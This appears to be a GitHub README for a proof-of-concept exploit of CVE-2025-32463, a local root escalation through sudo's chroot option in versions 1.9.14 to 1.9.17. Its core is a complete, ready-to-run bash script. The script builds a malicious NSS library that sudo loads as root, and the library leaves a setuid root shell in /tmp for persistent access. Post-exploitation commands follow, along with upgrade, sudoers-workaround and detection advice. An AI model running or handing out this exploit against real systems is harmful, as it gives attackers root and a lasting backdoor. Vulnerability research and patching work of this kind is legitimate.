
Local privilege escalation exploit for CVE-2025-32463 targeting sudo chroot design flaw. Provides PoC script, technical analysis, and mitigation guidance for affected sudo versions 1.9.14-1.9.17.
CVE-2025-32463 is a critical local privilege escalation vulnerability in sudo versions 1.9.14 through 1.9.17. This vulnerability allows attackers with sudo privileges to escalate to root access by exploiting a design flaw in the chroot option processing logic.
The vulnerability occurs due to a timing issue in sudo's security validation process. The pivot_root function is executed before security policy verification, allowing attackers to manipulate the file system environment that sudo uses for authentication and authorization.
nsswitch.confpivot_root: Executed too early in the processset_cmnd_path: Operates in the manipulated environmentcommand_matches: Security checks bypassed due to environment manipulationBefore using this exploit, ensure the following conditions are met:
git clone https://github.com/KaiHT-Ladiant/CVE-2025-32463
cd CVE-2025-32463
chmod +x cve-2025-32463.sh
./cve-2025-32463.sh
Check if the target system is vulnerable:
# Check sudo version
sudo --version
# Check sudo privileges
sudo -l
# Look for chroot-related permissions
sudo -l | grep chroot
The main exploit script (cve-2025-32463.sh):
#!/bin/bash
# CVE-2025-32463 PoC - Sudo Chroot Privilege Escalation
# Based on research by Rich Mirch @ Stratascale Cyber Research Unit
STAGE=$(mktemp -d /tmp/pentest.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > pentester.c<<'CEOF'
#include <stdlib.h>
#include <unistd.h>
void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
system("id > /tmp/pwned_proof.txt");
system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
execl("/bin/bash", "/bin/bash", NULL);
}
CEOF
mkdir -p pentest/etc libnss_
echo "passwd: /pentester" > pentest/etc/nsswitch.conf
cp /etc/group pentest/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/pentester.so.2 pentester.c
echo "[*] Exploiting CVE-2025-32463..."
echo "[*] Attempting privilege escalation..."
sudo -R pentest pentest
# Cleanup
rm -rf ${STAGE?}
After successful exploitation, verify root access:
# Check current privileges
whoami
# Check proof file
cat /tmp/pwned_proof.txt
# Use setuid bash for persistent root access
/tmp/rootbash -p
Update sudo to version 1.9.17p1 or later:
# Ubuntu/Debian
sudo apt update && sudo apt upgrade sudo
# CentOS/RHEL
sudo yum update sudo
# or
sudo dnf update sudo
Remove chroot directives from sudoers (temporary workaround):
# Backup current configuration
sudo cp /etc/sudoers /etc/sudoers.backup
# Remove chroot-related entries
sudo sed -i '/chroot/d' /etc/sudoers
# Verify syntax
sudo visudo -c
Monitor for exploitation attempts:
# Check for suspicious temporary directories
find /tmp -name "*.stage.*" -type d
# Monitor sudo logs
tail -f /var/log/auth.log | grep sudo
# Look for NSS library compilation
find /tmp -name "libnss_*.so*" -type f
The vulnerability stems from a design flaw in sudo's execution flow:
Normal Expected Flow:
Actual Vulnerable Flow:
The exploit leverages the Name Service Switch (NSS) system:
/etc/nsswitch.conf for user authenticationThis exploit has been tested on:
⚠️ IMPORTANT DISCLAIMER ⚠️
This tool is provided for educational and authorized testing purposes only.
Contributions are welcome! Please:
This project is licensed under the MIT License - see the LICENSE file for details.
Note: This vulnerability affects a critical system component. Please use responsibly and ensure all testing is authorized.